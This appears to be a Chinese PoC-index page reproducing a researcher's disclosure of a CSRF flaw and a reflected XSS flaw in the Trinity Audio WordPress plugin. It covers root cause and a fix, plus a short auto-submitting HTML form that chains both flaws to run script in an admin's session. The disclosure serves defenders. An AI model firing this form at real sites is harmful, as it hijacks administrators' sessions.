POC详情: bb2eebf01692cd0399016978b495175a7fa3ea33

来源
关联漏洞
标题: WordPress plugin Trinity Audio 跨站请求伪造漏洞 (CVE-2025-9886)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台具有在基于PHP和MySQL的服务器上架设个人博客网站的功能。WordPress plugin是一个应用插件。 WordPress plugin Trinity Audio 5.20.2及之前版本存在跨站请求伪造漏洞,该漏洞源于文件/admin/inc/post-management.php中缺少或存在不正确的随机数验证,可能导致跨站请求伪造攻击。
描述
Disclosure for CVE-2025-9886 and CVE-2025-9952
介绍
# Trinity-Audio-CVE-Report 2
Disclosure for CVE-2025-9886 and CVE-2025-9952.

# CVE-2025-9886 and CVE-2025-9952 - Vulnerability in Trinity Audio

This repository discloses a vulnerability discovered in [Trinity Audio <= 5.20.1](https://wordpress.org/plugins/trinity-audio/),WordPress plugin developed by sergiotrinity.

## 🛠 Affected Version

- **Product**: Trinity Audio
- **Version**: v5.20.1
- **URL**: https://wordpress.org/plugins/trinity-audio/

---

## 🔒 Assigned CVE
| CVE ID            | Type                      | Component                | Impact                    |
|-------------------|---------------------------|--------------------------|---------------------------|
| CVE-2025-9886    | Cross-Site Request Forgery                | admin/inc/post-management.php            | Bulk enable/disable of Trinity Audio on posts under the victim’s session     |  
| CVE-2025-9952    | Reflected Cross-Site Scripting             | admin/inc/post-management.php            | Arbitrary script execution     |  

---

## 🧾 Detailed a Description

### CVE-2025-9886 — Cross-Site Request Forgery

 - **Affected Component**: Post Management page handler (admin/inc/post-management.php)
   
 - **Attack Vector**: Cross-origin POST to wp-admin/admin.php?page=trinity_audio_post_management
   
 - **Trigger**: An authenticated admin visits an attacker-controlled page that auto-submits a crafted form
   
 - **Impact**: Attacker forces bulk state changes (enable/disable Trinity Audio on all posts or a date range) with the admin’s privileges, harming integrity and potentially availability

### CVE-2025-9952 — Cross-Site Scripting

 - **Affected Component**: Post Management page handler (admin/inc/post-management.php)
   
 - **Attack Vector**: Cross-origin POST to wp-admin/admin.php?page=trinity_audio_post_management with post-management-action=activate-all-posts-range, range-before-after=after, and a valid date followed by HTML.
   
 - **Trigger**: An authenticated admin visits an attacker-controlled page that auto-submits the crafted form. At least one post published after the supplied date must exist.
   
 - **Impact**: Arbitrary JavaScript executes in the admin’s origin, enabling session theft, settings manipulation, or CSRF chaining.
   
### PoC

 By combining these two vulnerabilities, an attacker can execute arbitrary scripts by directing users to a site containing the following form.
 
  1. The admin is logged in to the target site.
  2. The attacker hosts the following HTML:
```
<form method="POST" action="https://victim.example.com/wp-admin/admin.php?page=trinity_audio_post_management">
  <input type="hidden" name="action" value="1">
  <input type="hidden" name="post-management-action" value="activate-all-posts-range">
  <input type="hidden" name="range-before-after" value="after">
  <input type="hidden" name="range-date" value="2025-09-03&lt;img src=x onerror=alert(document.domain)&gt;">
</form>
<script>document.forms[0].submit();</script>
```

## ❓Reason for the vulnerability

 - **CSRF(CVE-2025-9886)**:
   The state-changing endpoint accepts cross-origin requests without CSRF defenses. There is no nonce verification (check_admin_referer/wp_verify_nonce) and no Origin/Referer validation. Because cookies are sent automatically, an attacker can cause actions to run under an authenticated user’s session.
   
 - **Reflected XSS(CVE-2025-9952)**:
   The Post Management handler (admin/inc/post-management.php) interpolates the range-date POST value into the success notice without output encoding (no esc_html()/wp_kses()), allowing HTML/JS injection.
 
 ### Proposed Fix:
 - Require a valid CSRF token on all state-changing requests: add wp_nonce_field(...) to forms and verify with check_admin_referer(...) or wp_verify_nonce(...).
 - The range-date parameter must be properly escaped before being rendered.
 
## 🔍 Discoverer

**Name**: MooseLove  
**Role**: Independent security researcher / bug hunter  
**Contact**: Available upon request  

---

## 📚 References

- Product: https://wordpress.org/plugins/trinity-audio/

---

## ⚠️ License

This advisory is provided for public security awareness. Free to share with attribution.

文件快照

[4.0K] /data/pocs/bb2eebf01692cd0399016978b495175a7fa3ea33 └── [4.1K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。